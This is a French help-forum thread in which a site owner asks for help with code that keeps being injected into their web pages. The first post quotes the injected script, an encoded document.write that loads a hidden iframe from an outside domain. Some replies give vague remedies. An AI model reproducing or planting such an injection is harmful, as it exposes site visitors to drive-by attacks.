Trojan infection d'un site

uowis -  
 ledorian83 -
Bonjour, depuis quelque jour j'ai un probleme sur bon nombre de mes sites,

Il s'agit je suppose d'un trojan qui rajoute un javascript dans chaque page de mon site.
Le code rajouté et le suivant :

<?php echo ''; ?><?php echo ''; ?><?php echo '<Script Language='Javascript'>

<!--

document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%34%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));

//-->

</Script>'; ?>


Chaque jour je doit supprimer ce code sur l'integralité de mes pages.

Seul les sites les plus récent ont se problème je suppose donc que quelque chose infecte lors de la mise en ligne des fichier.

Je suis dans un situation de crise car je ne peut pas mettre en ligne mes nouveaux site sans crainre se probleme. Je ne sais pas quoi faire...
A voir également:

7 réponses

charlotte39
 
bonjour,

Tu ne te rappeles pas????? il y a environ un mois j'avais eu le meme problème sur mon blog....les memes lignes de script!
cherche les reponses sur le forum

je n'ai plus cette erreur mais depuis ce matin

Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /homepages/44/d279178963/htdocs/wp-login.php on line 518
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /homepages/44/d279178963/htdocs/index.php on line 18


et donc je ne peux plus, encore une fois me loguer , mon site est inaccessible ainsi que mon admin WP.
j'ai posé la question....en attente de reponses

charlotte
0
uowis
 
Ben si je me souvient j'ai comme la mauvaise impression qu'on est les seul a etre infecté par ce truc. La première correction s'est bien passé mais depuis deux jour le code de réinsère mais contrairement a avant ou seul les page d'accueil était modifier la totalité des pages sont modifiés. Comme si le trojan avait evoluer ou comme ci quelqu'un déclenche la chose. Je vais essayé de vous transmettre mon mail pour se tenir au courant.
0
uowis Messages postés 6 Statut Membre 2
 
Je ne souhaite pas envoyer mon mail sur le forum pourriez vous créer un compte enfin que je vous l'envoie par la messagerie du site?
0
charlotte39
 
comment crée-t-on un compte pour acceder à la messagerie?
0
uowis Messages postés 6 Statut Membre 2
 
tout en haut a droite "inscription" dans la bannière noire.
0
charlotte39210 Messages postés 32 Statut Membre
 
c'est fait
0

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
uowis Messages postés 6 Statut Membre 2
 
Je precise que le trojan en cause serai JS:Script-inf.[Trj] . Nous avons besoin de conseil svp.
0
uowis Messages postés 6 Statut Membre 2
 
Dernière activité du trojan : Il viens de contaminé un site non mise a jour recement. Même sans échange de fichier le trojan peut pénétrer...
0
charlotte39210 Messages postés 32 Statut Membre
 
il a contaminé un de tes sites?????
tu l'as decouvert avec quel antivirus???????????
moi c'est avast qui me l'avait trouvé!!!!
comment tu mets un site à jour?????????
0
ledorian83
 
Bonjour a vous, si il s'agit d'un troja il n'y a rien a y faire, mis a part soit mettre un bon antivirus et ajouter aussi malwarebyte soit formater votre PC et refaire entierement vos sites web en changeant les noms des fichier etc... Vous pouvez aussi contacter l'admin de votre hebergement web ;)
0